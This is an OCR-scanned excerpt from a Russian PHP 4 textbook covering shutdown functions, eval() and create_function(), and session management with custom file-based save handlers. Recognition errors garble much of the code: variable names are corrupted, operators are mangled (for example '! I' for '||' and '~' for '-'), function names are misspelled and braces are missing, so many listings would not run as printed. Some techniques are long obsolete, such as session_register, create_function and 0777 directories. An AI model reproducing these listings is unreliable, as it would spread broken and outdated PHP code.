$f ilename= ' /path/to/data-file ' ;

$file=fopen ($filename , 'r') or die ("не могу открыть файл $filename ! ") ;

Здесь мы ориентируемся на специфику оператора or - "выполнять" второй
операнд только тогда, когда первый "ложен". Мы уже встречались с этим
приемом в главе, посвященной работе с файлами. Заметьте, что оператор | \
здесь применять нельзя — он имеет более высокий приоритет, чем =. С ис-

----------------------- Page 353-----------------------
535 Часть IV. Стандартные функции РНР

пользованием | | последний пример нужно было бы переписать следующим
образом:

$filename='/path/to/data-file' ;

($file=fopen($filename, 'r')) ! I die("He могу открыть файл $filename!") ;

Согласитесь, последнее практически полностью исключает возможность
применения | | в подобных конструкциях.

Финализаторы

Слава богу, разработчики РНР предусмотрели возможность указать в про-
грамме функцию-финализатор, которая будет автоматически вызвана , как
только работа сценария завершится — неважно, из-за ошибки или легально.
В такой функции мы можем, например , записать информацию в кэш или
обновить какой-нибудь файл журнала работы программы. Что же нужно для
этого сделать?

Во-первых, написать саму функцию и дать ей любое имя . Желательно так-
же, чтобы она была небольшой , и чтобы в ней не было ошибок , потому что
сама функция , вполне возможно, будет вызываться перед завершением сце-
нария из-за ошибки. Во-вторых зарегистрировать ее как финализатор , пере-
дав ее ИМЯ стандартной функции Register_shutdown_function( ) .

int Register_shutdown_function(string $func)

Регистрирует функцию с указанным именем с той целью, чтобы она автома-
тически вызывалась перед возвратом из сценария. Функция будет вызвана
как при окончании программы , так и при вызовах exit о или die ; ( ) , а так-
же при фатальных ошибках, приводящих к завершению сценария — напри -
мер, при синтаксической ошибке.

Конечно, можно зарегистрировать несколько финальных функций , которые
будут вызываться в том же порядке, в котором они регистрировались.

Правда, есть одно "но". Финальная функция вызывается уже после закрытия
соединения с браузером клиента. Поэтому все данные, выведенные в ней
через echo , теряются (во всяком случае, так происходит в Unix-версии РНР,
а под Windows CGI-версия РНР и echo работают прекрасно). Так что лучше
не выводить никаких данных в такой функции, а ограничиться работой с
файлами и другими вызовами , которые ничего не направляют в браузер.

Последнее обстоятельство, к сожалению , ограничивает функциональность
финализаторов: им нельзя поручить , например , вывод окончания страницы ,
если сценарий по каким-то причинам прервался из-за ошибки . Вообще го-
воря, надо заметить, что в РНР никак нельзя в случае ошибки в некотором
запушенном коде проделать какие-либо разумные действия (кроме, разуме-
ется, мгновенного выхода). Это несколько может ограничивать область при-

----------------------- Page 354-----------------------
Глава 24. Управление интерпретатором 339

менимости РНР для написания шаблонизатора (о шаблонах будет подробно
рассказано в части К этой книги).

Генерация кода
во время выполнения

Так как РНР в действительности является транслирующим интерпретато-
ром, в нем заложены возможности по созданию и выполнению кода про-
граммы прямо во время ее выполнения. То есть мы можем писать сценарии,
которые в буквальном смысле создают сами себя, точнее, свой код! Это не-
заменимо при написании шаблонизаторов и функций , занимающихся дина-
мическим формированием писем . Мы поговорим о таких функциях в части V
книги .

Выполнение кода

int eval(string Scode )

Эта функция делает довольно интересную вещь: она берет параметр Sst и,
рассматривая его как код программы на РНР , запускает. Если этот код воз-
вратил какое-то значение оператором return (как , например , это обычно
делают функции) , eval ( ) также вернет эту величину .

Параметр $st представляет собой обычную строку, содержащую участок
PHP-программы. То есть в ней может быть все, что допустимо в сценариях :

О ввод-вывод, в том числе закрытие и открытие тэгов <? и ?>;

П управляющие инструкции : циклы , условные операторы и т. д.;

П объявления и вызовы функций ;

П вложенные вызовы функции eval ( ) .

Тем не менее, нужно помнить несколько важных правил.

П Код в $st будет использовать те же самые глобальные переменные, что и
вызвавшая программа. Таким образом, переменные не локализуются
внутри eval О .

П Любая критическая ошибка (например, вызов неопределенной функции) в
коде строки $st приведет к завершению работы всего сценария
(разумеется, сообщение об ошибке также напечатается в браузер). Это зна-
чит , что мы не можем перехватить все ошибки в коде, вставив его в eval о .

Замечание

Последний факт вызывает довольно удручающие мысли. К сожалению, разра-
ботчики РНР опять не задумались о том, как было бы удобно, если бы eval ( )

123ак. 699

----------------------- Page 355-----------------------
340 Часть IV. Стандартные функции РНР

при ошибке в вызванном ей коде просто возвращала значение false , помещая
сообщение об ошибке в какую-нибудь переменную (как это сделано, например,
в Perl).

П Тем не менее, синтаксические ошибки и предупреждения, возникающие при
трансляции кода в $st, не приводят к завершению работы сценария, а всего
лишь вызывают возврат из eval ( ) значения ложь. Что ж, хоть кое-что.
Не забывайте, что переменные в строках, заключенных в двойные кавычки,
в РНР интерполируются (то есть заменяются на соответствующие значения).
Это значит, что, если мы хотим реже использовать обратные слэши для за-
щиты символов-кавычек, нужно стараться применять строки в апострофах
для параметра, передаваемого eval о . Например:

eval("$a=$b;"); //Неверно !
// Вы , видимо , хотели написать следующее :

eval("\$a=\$b");

/ / н о короче будет так :

eval('$a=$b') ;

Возможно, вы спросите: зачем нам использовать eval ( ) , если она занимает-
ся лишь выполнением кода, который мы и так можем написать прямо в
нужном месте программы? Например, следующий фрагмент

eval('for($i=0 ; $i<10; $i++) echo $i; ' ) ;

эквивалентен такому коду:

for($i=0; $i<10; $i++) echo $i;

Почему бы всегда не пользоваться последним фрагментом? Да, конечно, в
нашем примере лучше было бы так и поступить. Однако сила eval ( ) заклю-
чается прежде всего в том, что параметр $st может являться (и чаще всего
является) не статической строковой константой, а сгенерированной пере-
менной. Вот, например , как мы можем создать 100 функций с именами
Fund () .. . Funcioo ( ) , которые будут печатать квадраты первых 100 чисел:

i Листинг 24.1. Генерация семейства функций

for($i=l ; $i<=100; $1++)

eval("function Func$i() { return $i*$i; } " ) ;

Попробуйте-ка сделать это, не прибегая к услугам eval о !
Я уже говорил, что в случае ошибки (например, синтаксической) в коде,
обрабатываемом eval ( ) , сценарий завершает свою работу и выводит сооб-
щение об ошибке в браузер. Как обычно, сообщение сопровождается указа-
нием того, в какой строке произошла ошибка, однако вместе с именем фай-

----------------------- Page 356-----------------------
Глава 24. Управление интерпретатором 341

ла выдается уведомление , что программа оборвалась в функции eval о . Вот
как, например, может выглядеть такое сообщение:

Parse error : parse error in eval.php'4 ) : e v a l O ' d code-on line 1

Как видим , в круглых скобках после имени файла РНР печатает номер
строки, в которой была вызвана сама функция eval о , а после "on line " •
номер строки в параметре eval о $st . Впрочем , мы никак не можем пере-
хватить эту ошибку , поэтому последнее нам не особенно-то интересно.

Давайте теперь в качестве тренировки напишем код, являющийся аналогом
инструкции include . Пусть нам нужно включить файл, имя которого хра-
нится в $fname . Вот как это будет выглядеть:

$code=join("",File($fname));

eval("?>$code<?");

Всего две строчки, но какие.. . Рассмотрим их подробнее.

Что делает первая строка — совершенно ясно: она сначала считывает все
содержимое файла Sfname по строкам в список , а затем образует одну боль-
шую строку путем "склеивания" всех элементов этого списка . Заметьте, как
получилось лаконично : нам не нужно ни открывать файл, ни использовать
функцию f read ( ) ИЛИ fget s ( ) .

Вторая строка, собственно, запускает тот код, который мы только что счи-
тали. Но зачем она предваряется символами ?> и заканчивается <? — тэгами
открытия и закрытия кода РНР? Наверное, вы уже догадались: суть в том,
что функция eval ( ) воспринимает свой параметр именно как код, а не как
документ со вставками PHP-кода. В то же время, считанный нами файл
представляет собой обычный PHP-сценарий, т. е. документ со "вставками"
РНР. Иными словами, настоящая инструкция include воспринимает файл в
контексте документа, а функция eval о - - в контексте кода. Поэтому-то
мы и используем ?> — переводим текущий контекст в режим восприятия
документа, чтобы eval о "осознала" статический текст верно. Мы еще неод-
нократно столкнемся с этим приемом в будущем.

Генерация функций

В последнем примере мы рассмотрели, как можно создать 100 функций с раз-
ными именами , написав программу длиной в 2 строчки. Это, конечно, впе-
чатляет, но мы должны жестко задавать имена функций . Почему бы не пору-
чить эту работу РНР, если нас не особо интересуют получающиеся имена?

! Листинг 24.2. Генерация "анонимных" функций

$Funcs=array();

for(Si=0; $i<=100;

----------------------- Page 357-----------------------
342 _ Часть IV. Стандартные функции РНР

$id=uniqid("F") ;

eval ("function $ i d ( ) { return $i*$i ; } " ) ;

$Funcs [ ] =$id;

Теперь мы имеем список $Funcs , который содержит имена наших сгенери-
рованных функций . Как нам вызвать какую-либо из них? Это очень просто:

echo $Funcs[12] (); // выводит 144

Однако мы могли бы написать с тем же результатом и

echo Funcl2 ( ) ;

при том условии , если бы воспользовались кодом генерации функций из
листинга 24.1 . Кажется, что так короче? Тогда не торопитесь. Все хорошо,
если мы точно знаем, что надо вызвать 12-ю функцию, но как же быть, если
номер хранится в переменной — например , в $п? Вот решение :

echo $Funcs[$n] ( ) ; // выводит результат работы Sn-й функции

Не правда ли, просто? Выглядит явно лучше , чем такой код:

$F="Func$n";

$ F ( ) ;

Примечание

Тут нам не удастся обойтись без временной переменной $F (вариант с допол-
нительной eval ( ) тоже не подойдет, т. к. у функции могут быть строковые па-
раметры, и придется перед всеми кавычками ставить слэши, чтобы поместить
их в параметр функции eval ( ) .

Оказывается, в РНР версии 4 существует функция, которая поможет нам
упростить генерацию "анонимных" функций , подобных полученным в при-
мере из листинга 24.2. Называется она create_functio n ( ) .

string create__function (string $args , string $code)

Создает функцию с уникальным именем , выполняющую действия, заданные
в коде $code (это строка, содержащая программу на РНР). Созданная функ-
ция будет принимать параметры, перечисленные в Sargs . Перечисляются
они в соответствии со стандартным синтаксисом передачи параметров лю-
бой функции . Возвращаемое значение представляет собой уникальное имя
функции, которая была сгенерирована. Вот несколько примеров :

$Mul=create_function('$а,$b', 'return $a*$b;') ;
$Neg=create__function('$a', 'return ~$a;') ;

echo $Mul(10,20); // выводит 200

echo $Neg(2) ; // выводит -2

----------------------- Page 358-----------------------
Глава 24. Управление интерпретатором 343

Внимание

Не пропустите последнюю точку с запятой в конце строки, переданной вторым
параметром create^function() !

Давайте теперь перепишем наш пример из листинга 24.2 с учетом
create_function{) . Это довольно несложно. Обратите внимание , насколько
сократился код.

$Funcs=array() ;

for($i=0 ; $i<=100; $i++)

$Funcs[]=create_function("","return $i*$i;");

echo $Funcs[12]() ; // выводит 144

И последний пример применения анонимных функций -- в программах
сортировки с использованием пользовательских функций:

$a=array("orange", "apple" , "apricot" , "lemon");

usort($a,create_function('$a,$b' , 'return strcrap($a,$b);')) ;

foreach($a as $key=>$value ) echo "$key : $value<br>\n" ;

Проверка синтаксической
корректности кода

С помощью create_function о можно проверить, является ли некоторая
строка верным PHP-кодом, не запуская при этом сам код. В самом деле,
если создание функции с телом — заданной строкой — прошло успешно ,
значит, код синтаксически корректен. Вот пример:

$fname="file.php";
$code=join("",File($fname));

if(create^function("","?>$code<?"))

echo "Файл $fname является программой на PHP";

else
echo "Файл $fname - не РНР-сценарий" ;

Мы используем оператор @, чтобы подавить сообщение о том, что функцию
создать не удалось, если файл не является верным PHP-сценарием . И, ко-
нечно, нам нужно перевести наш код в контекст восприятия документа, для
чего, собственно, и нужно обрамление строки тэгами ?> и <? .

Замечание

Представленный фрагмент, конечно, будет воспринимать любой текстовый
файл и HTML-документ как "программу на РНР". И он будет прав, т. к., действи-
тельно, статический текст, в котором нет PHP-вставок, является верным РНР-
сценарием.

----------------------- Page 359-----------------------
344 Часть IV. Стандартные функции РНР

Другие функции

void usleepfint $micro_seconds )

Вызов этой функции позволяет сценарию "замереть" не указанное время
(в микросекундах). При этом затрачивается очень немного ресурсов процессо-
ра, так что функцию вполне можно вызывать, чтобы дождаться выполнения
какой-нибудь операции другого процесса — например, закрытия им файла.

^ Примечание

Существует также функция sleep ( ) , которая принимает в параметрах не мик-
росекунды, а секунды, на которые нужно задержать выполнение программы.

int uniqid(string $prefix)

Функция uniqid о возвращает строку, при каждом вызове отличающуюся от
результата предыдущего вызова. Параметр $prefix задает префикс (до 114
символов длиной) этого идентификатора.
Зачем нужен префикс0 Представьте себе, что сразу несколько интерпретато-

ров на разных хостах одновременно вызвали функцию uniqic ( ) . В этом
случае существует вероятность того, что результат работы функций совпадет,
чего нам бы не хотелось. Задание в качестве префикса имени хоста решит
проблему.

Чтобы добиться большей уникальности, можно использовать uniqi d о
"в связке" с функциями mt_rand ( ) и mds ( ) , описанными в предыдущих главах.

----------------------- Page 360-----------------------
Глава 25

Управление сессиями

Сессии, наконец-то появившиеся в РНР версии 4, представляют собой ме-
ханизм, позволяющий хранить некоторые (и произвольные) данные , инди-
видуальные для каждого пользователя (например, его имя и номер счета),
между запусками сценария .

Замечание

Термин "сессия" является транслитерацией от английского слова session, что в
буквальном переводе должно бы означать "сеанс". Однако последнее слово в
программистском жаргоне не особенно-то прижилось (насколько я знаю), по-
этому я буду употреблять термин "сессия". И да простят меня студенты, если у
них это вызывает нехорошие ассоциации.

Фактически, сессия — это некоторое место долговременной памяти (обычно
часть на жестком диске и часть — в Cookies браузера), которое сохраняет свое
состояние между вызовами сценариев одним и тем же пользователем. Иными
словами, поместив в сессию переменную (любой структуры), мы при следую-
щем запуске сценария получим ее в целости и сохранности. Трудно переоце-
нить удобства, которые это предоставляет нам, программистам.

Зачем нужны сессии?

В Web-программировании есть один класс задач, который может вызвать
довольно много проблем, если писать сценарии "в лоб". Речь идет о слабой
стороне CGF — невозможности запустить программу на длительное время,
позволив ей при этом обмениваться данными с пользователями.

В общем и целом, сценарии должны запускаться , моментально выполняться
и возвращать управление системе. Теперь представьте, что мы пишем фор-
му, но в ней такое большое число полей, что было бы глупо поместить их
на одну страницу. Нам нужно разбить процесс заполнения формы на не-
сколько этапов, или стадий, и представить их в виде отдельных HTML-
документов . Это похоже на работу мастеров Windows — диалоговых окон
для ввода данных с кнопками Назад и Дальше, благодаря которым можно
переместиться на шаг в любом направлении .

----------------------- Page 361-----------------------
346 Часть IV. Стандартные функции РНР

Например, в первом документе с диалогом у пользователя может запраши-
ваться его имя и фамилия , во втором (если первый был заполнен верно) -
данные о его месте жительства, и в третьем — номер кредитной карточки.
В любой момент можно вернуться на шаг назад, чтобы исправить те или
иные данные . Наконец, если все в порядке, накопленная информация обра-
батывается — например, помещается в базу данных .

Реализация такой схемы оказывается для Web-приложений довольно нетриви-
альной проблемой. Действительно, нам придется хранить все ранее введенные
данные в каком-нибудь временном хранилище , которое должно аннулиро-
ваться, если пользователь вдруг передумает и "уйдет" с сайта. Для этого, как
мы знаем, можно использовать функции сериализации и файлы. Однако ими
мы решаем только половину проблемы : нам нужно также как-то привязывать
конкретного пользователя к конкретному временному хранилищу . Действи-
тельно, предположим , что мы этого не сделали. Тогда, если в момент запол-
нения какой-нибудь формы одним пользователем на сайт "зайдет" другой и
тоже попытается ввести свои данные , получится куча мала.

Все эти проблемы решаются с применением сессий РНР, о которых сейчас
и пойдет речь.

Механизм работы сессий

Как же работают сессии? Для начала должен существовать механизм , кото-
рый бы позволил РНР идентифицировать каждого пользователя, запустив-
шего сценарий . То есть при следующем запуске РНР нужно однозначно оп-
ределить, кто его запустил: тот же человек, или другой. Делается это путем
присвоения клиенту так называемого уникального идентификатора сессии.
Чтобы этот идентификатор был доступен при каждом запуске сценария ,
РНР помещает его в Cookies браузера.

Примечание

Использовать Cookies не обязательно, существует и другой способ. Мы пого-
ворим о нем чуть позже.

Теперь, зная идентификатор (дальше для краткости я буду называть его
SID), РНР может определить, в каком же файле на диске хранятся данные
пользователя.

Немного о том, как сохранять переменную (обязательно глобальную) в сес-
сии. Для этого мы должны ее зарегистрировать с помощью специальной
функции. После регистрации мы можем быть уверены, что при следующем
запуске сценария тем же пользователем она получит то же самое значение ,
которое было у нее при предыдущем завершении программы. Это произой-
дет потому, что при завершении сценария РНР автоматически сохраняет все

----------------------- Page 362-----------------------
Глава 25. Управление сессиями 347

переменные, зарегистрированные в сессии, во временном хранилище . Ко-
нечно, можно в любой момент аннулировать переменную — "вычеркнуть" ее
из сессии, или же уничтожить вообще все данные сессии.

Где же находится то промежуточное хранилище , которое использует РНР?
Вообще говоря, вы вольны сами это задать, написав соответствующие функ-
ции и зарегистрировав их как обработчики сессии. Впрочем , делать это не
обязательно: в РНР уже существуют обработчики по умолчанию , которые
хранят данные в файлах (в системах Unix для этого обычно используется
директория /tmp) . Если вы не собираетесь создавать что-то особенное, вам
они вполне подойдут.

Инициализация сессии

Но прежде, чем работать с сессией, ее необходимо инициализировать. Дела-
ется это путем вызова специальной функции session_start о .

( Замечание }

Если вы поставили в настройках РНР режим session.auto_start=l , то
функция инициализации вызывается автоматически при запуске сценария. Од-
нако, как мы вскоре увидим, это лишает нас множества полезных возможностей
(например, не позволяет выбирать свою, особенную, группу сессий). Так что
лучше не искушать судьбу и вызывать session__start ( ) в первой строчке ва-
шей программы. Следите также за тем, чтобы до нее не было никакого вывода
в браузер — иначе РНР не сможет установить SID для пользователя!

void session_start( )

Эта функция инициализирует механизм сессий для текущего пользователя,
запустившего сценарий. По ходу инициализации она выполняет ряд действий.

П Если посетитель запускает программу впервые, у него устанавливается
Cookies с уникальным идентификатором, и создается временное храни-
лище , ассоциированное с этим идентификатором.

П Определяется, какое хранилище связано с текущим идентификатором
пользователя.

П Если в хранилище имеются какие-то переменные, их значения восста-
навливаются. Точнее, создаются глобальные переменные , которые были
сохранены в сессии при предыдущем завершении сценария.

Внимание

Вообще говоря, рассмотренный механизм, как всегда, не совсем точно соот-
ветствует истинному положению вещей. А именно, все зависит от того, какое
значение присвоено настроечному параметру register_globals . Если
register_globals=o, то в сессии можно будет сохранять (а потом и восста-

----------------------- Page 363-----------------------
348 Часть IV. Стандартные функции РНР

навливать) только величины, содержащиеся в глобальном ассоциативном мас-
сиве $HTTP_SESSION_VARS . Если же этот параметр содержит значение
"истина" (как обычно и происходит по умолчанию), то в сессии можно регистри-
ровать глобальные переменные.

Регистрация переменных

bool session_register(mixed $name [, mixed $namel,

PHP узнает о том, что ту или иную переменную нужно сохранить в сессии,
если ее предварительно зарегистрировать. Для этого и предназначена функ-
ция session_registerо . Она принимает в параметрах одно или несколько
имен переменных (имена задаются в строках, без знака $ слева), регистри-
рует их в текущей запущенной сессии и возвращает значение "истина", если
все прошло корректно.

^ Примечание

Почему же тогда я описал типы параметров как mixed, а не как string? Да по-
тому, что на самом деле в функцию можно передавать не одну строку в каждом
параметре, а сразу список строк. Каждая такая строка будет регистрировать
отдельную переменную с соответствующим именем. Более того — элементом
списка может опять же быть список строк, и т. д.

Нет ничего страшного, если мы дважды зарегистрируем одну и ту же пере-
менную в сессии. На самом деле, чаще всего как раз так и происходит -
при повторном запуске сценария. Вот пример:

! Листинг 25.1. Пример работы с сессиями

session_start ( ) ;
session_register ("count") ;
$count=@$count+l ;

?>

<body>
<Ь2>Счетчик</п2>
В текущей сессии работы с браузером Вы открыли эту страницу
<?=$count?> раз (а) . Закройте браузер , чтобы обнулить счетчик .
</body>

Как видим, все предельно просто.

----------------------- Page 364-----------------------
Глава 25. Управление сессиями 349

Идентификатор сессии
и имя группы

Что же, теперь мы уже можем начать писать кое-какие сценарии. Но вскоре
возникнет небольшая проблема. Дело в том, что на одном и том же сайте
могут сосуществовать сразу несколько сценариев, которые нуждаются в ус-
лугах поддержки сессий РНР. Они "ничего не знают" друг о друге, поэтому
временные хранилища для сессий должны выбираться не только на основе
идентификатора пользователя, но и на основе того, какой из сценариев за-
просил обслуживание сессии.

Имя группы сессий

Что, не совсем понятно? Хорошо, тогда рассмотрим пример . Пусть разра-
ботчик А написал сценарий счетчика, приведенный в листинге 25.1. Он ис-
пользует переменную $ count , и не имеет никаких проблем. До тех пор, пока
разработчик В, ничего не знающий о сценарии А, не создал систему стати-
стики, которая тоже использует сессии. Самое ужасное, что он также реги-
стрирует переменную $count , не зная о том, что она уже "занята". В резуль-
тате, как всегда, страдает пользователь: запустив сначала сценарий разра-
ботчика В, а потом — А, он видит, что данные счетчиков перемешались.
Непорядок!

Нам нужно как-то разграничить сессии, принадлежащие одному сценарию,
от сессий, принадлежащих другому. К счастью, разработчики РНР преду-
смотрели такое положение вещей. Мы можем давать группам сессий непере-
секающиеся имена , и сценарий, знающий имя своей группы сессии, сможет
получить к ней доступ. Вот теперь-то разработчики А и В могут оградить
свои сценарии от проблем с пересечениями имен переменных . Достаточно в
первой программе указать РНР, что мы хотим использовать группу с име-
нем, скажем, sesA , а во второй — зезв .

string session_narae([string $newname] )

Эта функция устанавливает или возвращает имя группы сессии, которая бу-
дет использоваться РНР для хранения зарегистрированных переменных. Ес-
ли $newname не задан, то возвращается текущее имя. Если же этот параметр
указан, то имя группы будет изменено на $newname , при этом функция вер-
нет предыдущее имя .

Внимание

Session_name () лишь сменяет имя текущей группы и сессии, но не создает
новую сессию и временное хранилище! Это значит, что мы должны в большин-
стве случаев вызывать session_name (имя_группы) еще до ее инициализа-

----------------------- Page 365-----------------------
350 Часть IV. Стандартные функции РНР

ции— вызова session_start ( ) , в противном случае мы получим совсем не
то, что ожидали.

Если функция session_name( ) не была вызвана до инициализации , РНР
будет использовать имя по умолчанию — PHPSESID .

^ Примечание

Кстати говоря, имя группы сессий, устанавливаемое рассматриваемой функци-
ей, — это как раз имя того самого Cookie, который посылается в браузер клиен-
та для его идентификации. Таким образом, пользователь может одновременно
активизировать две и более сессий — с точки зрения РНР он будет выглядеть
как два ли более различных пользователя. Однако не забывайте, что, случайно
установив в сценарии Cookie, имя которого совпадает с одним из имен группы
сессий, вы "затрете" Cookie.

Вот простой пример применения этой функции .
<?
session_name("CounterScript"

session_start();

session_register("count");

$count=@$count+l;

?>

В текущей сессии Вы открыли эту страницу <?=$count?> раз(а) .

Рекомендую всегда указывать имя группы сессии вручную, не полагаясь на
значение по умолчанию. За это вам скажут спасибо разработчики других сце-
нариев, когда они захотят использовать вашу программу вместе со своими .

Идентификатор сессии

Мы уже говорили с вами, зачем нужен идентификатор сессии (siD) . Факти-
чески , он является именем временного хранилища, которое будет использо-
вано для хранения данных сессии между запусками сценария. Итак, один
SID — одно хранилище . Нет SID , нет и хранилища , и наоборот.

В этом месте очень легко запутаться. В самом деле, как же соотносится
идентификатор сессии и имя группы? А вот как: имя — это всего лишь со-
бирательное название для нескольких сессий (то есть, для многих SID), за-
пущенных разными пользователями. Один и тот же клиент никогда не будет
иметь два различных SI D в пределах одного имени группы . Но его браузер
вполне может работать (и часто работает) с несколькими SID , расположен-
ными логически в разных "пространствах имен".

Итак, все SID уникальны и однозначно определяют сессию на компьютере ,
выполняющем сценарий -- независимо от имени сессии. Имя же задает

----------------------- Page 366-----------------------
Глава 25. Управление сессиями 351

"пространство имен", в которое будут сгруппированы сессии, запущенные
разными пользователями . Один клиент может иметь сразу несколько актив-
ных пространств имен (то есть несколько имен групп сессий).

string session id([string Ssid] )

Функция возвращает текущий идентификатор сессии SID. Если задан пара-
метр $sid , то у активной сессии изменяется идентификатор на $sid . Делать
это, вообще говоря, не рекомендуется .

Фактически, вызвав session_id( ) до session^start ( ) , мы можем подклю-
читься к любой (в том числе и к "чужой") сессии на сервере, если знаем ее
идентификатор. Мы можем также создать сессию с угодным нам идентифи-
катором, при этом автоматически установив его в Cookies пользователя. Но
это— не лучшее решение, -- предпочтительнее переложить всю "грязную
работу" на РНР.

Другие функции

Здесь мы для полноты картины рассмотрим функции , для работы с сессия-
ми, которые применяются гораздо реже, чем уже описанные .

bool session_is_registered(string $name )

Функция session_is__registered() возвращает значение true, если пере-
менная с именем $name была зарегистрирована в сессии, иначе возвращает-
ся false .

bool session_unregister(struing $name )

Эта функция отменяет регистрацию для переменной с именем $name для
текущей сессии. Иными словами , при завершении сценария все будет вы-
глядеть так, словно переменная с именем $name и не была никогда зарегист-
рирована . Возвращает true , если все прошло успешно , и fals e — в против-
ном случае.

Замечание

После вызова функции session unregister() глобальная переменная, ко-
торая была "аннулирована", не уничтожается, а сохраняет свое значение.

void session_unset ( )

Функция session_unset О , В ОТЛИЧИВ ОТ session_unregister ( ) , не ТОЛЬКО
отменяет регистрацию переменных (кстати говоря, всех переменных сессии,
а не какой-то одной), но и уничтожает глобальные переменные, которые
были зарегистрированы в сессии.

----------------------- Page 367-----------------------
352 Часть IV. Стандартные функции РНР

string session_save_path([string $path] )

Эта функция возвращает имя каталога, в котором будут помешаться фай-
лы — временные хранилища данных сессии. В случае, если указан параметр,
как обычно, активное имя каталога будет переустановлено на $path. При
этом функция вернет предыдущий каталог.
К сожалению, функции, которая бы возвращала список всех зарегистриро-
ванных в сессии переменных , почему-то нет. Во всяком случае, в РНР вер-
сии 4.0.3.

Установка обработчиков сессии

До сих пор мы с вами пользовались стандартными обработчиками сессии,
которые РНР использовал каждый раз, когда нужно было сохранить или
загрузить данные из временного хранилища . Возможно, они вас не устро-
ят — например , вы захотите хранить переменные сессии в базе данных или
еще где-то. В этом случае достаточно будет переопределить обработчики
своими собственными функциями , и вот как оно делается.

Обзор обработчиков

Всего существует 6 функций , связанных с сессиями , которые РНР вызывает
в тот или иной момент работы механизма обработки сессий. Им передаются
различные параметры, необходимые для работы. Сейчас я перечислю все
эти функции вместе с их описаниями .

bool handler_open(string $save_path , string $session_name )

Функция вызывается , когда вызывается session_start 0 . Обработчик дол-
жен взять на себя всю работу, связанную с открытием базы данных для
группы сессий с именем $session_name . В параметре $save__path передается
то, что было указано при вызове s e s s i o n _ s a v e _ p a t h (j или же путь к фай-
лам-хранилищам данных сессий по умолчанию. Возможно, если вы исполь-
зуете базу данных , этот параметр будет бесполезным .

booi handier_ciose()

Этот обработчик вызывается, когда данные сессии уже записаны во времен-
ное хранилище и его нужно закрыть.

string handler^read(string $sid)

Вызов обработчика происходит , когда нужно прочитать данные сессии с
идентификатором $sid из временного хранилища. Функция должна возвра-
щать данные сессии в специальном формате, который выглядит так:

имя1=значение!;имя2=значение2;имяЗ=значениеЗ;...;

----------------------- Page 368-----------------------
Глава 25. Управление сессиями 353

Здесь имяы задает имя очередной переменной, зарегистрированной в сессии,
а значением — результат вызова функции serializ e о для значения этой
переменной. Например, запись может иметь следующий вид:

fooIi:1;count 1 i: 10;

Она говорит о том, что из временного хранилища были прочитаны две це-
лые переменные, первая из которых равна 1, а вторая — 10.

string handler_write(string $sid , string Sdata )

Этот обработчик предназначен для записи данных сессии с идентификато-
ром $sid во временное хранилище — например, открытое ранее обработчи-
ком handier_open() . Параметр $data задается в точно таком же формате,
который был описан выше. Фактически, чаще всего действия этой функции
сводятся к записи в базу данных строки Sdata без каких-либо ее изменений .

bool handler_destroy(string $sid)

Обработчик вызывается, когда сессия с идентификатором $sid должна быть
уничтожена.

bool handler_gc(int $maxlifetime)

Данный обработчик — особенный. Он вызывается каждый раз при заверше-
нии работы сценария. Если пользователь окончательно "покинул" сервер,
значит, данные сессии во временном хранилище можно уничтожить. Этим и
должна заниматься функция handier_gc() . Ей передается в параметрах то
время (в секундах), по прошествии которого РНР принимает решение о не-
обходимости "почистить перышки" , или "собрать мусор" (garbage collec-
tion) — т. е., это максимальное время существования сессии.

Как же должна работать рассматриваемая функция? Очень просто. Напри-
мер, если мы храним данные сессии в базе данных, мы просто должны уда-
лить из нее все записи , доступ к которым не осуществлялся более, чем
$ m a x i i f e t i me секунд . Таким образом, "застарелые" временные хранилища
будут иногда очищаться.

(~ Замечание j

На самом деле обработчик handleг_дс ( ) вызывается не при каждом запуске
сценария, а только изредка. Когда именно— определяется конфигурационным
параметром session.gc_probability . А именно, им задается (в процентах),
какова вероятность того, что при очередном запуске сценария будет выбран
обработчик "чистки мусора". Сделано это для улучшения производительности
сервера, потому что обычно сборка мусора — довольно ресурсоемкая задача,
особенно если сессий много.

----------------------- Page 369-----------------------
354 Часть IV. Стандартные функции РНР

Регистрация обработчиков

Вы, наверное, обратили внимание , что при описании обработчиков я указы-
вал их имена с префиксом handler . На самом деле, это совсем не является
обязательным. Даже наоборот — вы можете давать такие имена своим обра-
ботчикам, какие только захотите.

Но возникает вопрос: как же тогда РНР их найдет? Вот для этого и существу-
ет функция регистрации обработчиков, которая говорит интерпретатору, ка-
кую функцию он должен вызывать при наступлении того или иного события .

void session^ set _save_handler($open,$close,$read,$write,$destroy,$gc )

Эта функция регистрирует подпрограммы , имена которых переданы в ее
параметрах, как обработчики текущей сессии. Параметр $ореп содержит имя
функции, которая будет вызвана при инициализации сессии, а $ close -
функции, вызываемой при ее закрытии . В $read и $write нужно указать
имена обработчиков, соответственно, для чтения и записи во временное
хранилище . Функция с именем, заданным в $destroy , будет вызвана при
уничтожении сессии. Наконец, обработчик, определяемый параметром $дс ,
используется как сборщик мусора.

Эту функцию можно вызывать только до инициализации сессии , в против-
ном случае она просто игнорируется.

Пример: переопределение обработчиков

Давайте напишем пример , который бы иллюстрировал механизм переопре-
деления обработчиков. Мы будем держать временные хранилища сессий в
подкаталоге sessiondata текущего каталога, и для каждого имени группы
сессий создавать отдельный каталог.

Код листинга 25.2 довольно велик , но не сложен. Тут уж ничего не подела-
ешь — нам в любом случае приходится задавать все 6 обработчиков, а это
выливается в "объемистые" описания .

: Листинг 25.2. Переопределение обработчиков сессии

// Возвращает полное имя файла временного хранилища сессии.
/ / В случае, если нужно изменить тот каталог , в котором должны
// храниться сессии, достаточно поменять только эту функцию
function ses_fname($key)

{ '
return "sessiondata/".session_name()."/$key" ;

----------------------- Page 370-----------------------
Глава 25. Управление сессиями 355

// Заглушки — эти функции просто ничего не делают

function ses_open($save_path , $ses_name ) ( return true ; }

function ses_close( ) { return true ; }

// Чтение данных из временного хранилища

function ses^read($key )

{

// Получаем имя файла у . открываем файл

$fname=ses_fname($key);

$f=@fopen($fname,"rb"); if(!$f ) return "";

// Читаем до конца файла

$st=fread($f,filesize($fname));

fclose($f);

return $st ;

// Запись данных сессии во временное хранилище

function ses_write ($key , $val )

(

$fname=ses fname($key) ;

// Сначала создаем все каталоги (в случае , если они уже есть ,

// игнорируем сообщения об ошибке )

@mkdir ($d=dirname (dirname ($f name ) ) ,0777) ;

@mkdir (dirname ($f name ) , 0777) ;

// Создаем файл и записываем в него данные сессии

$f =@ f open ($f name , "wb") ; if(!$f) return "";

fwrite !$f,$val ) ;

fclose ($f) ;

return true ;

// Вызывается при уничтожении сессии

function ses_destroy ($key)

{
return @unlink (ses_fname ($key) ) ;

// Сборка мусора — ищем все старые файлы и удаляем их

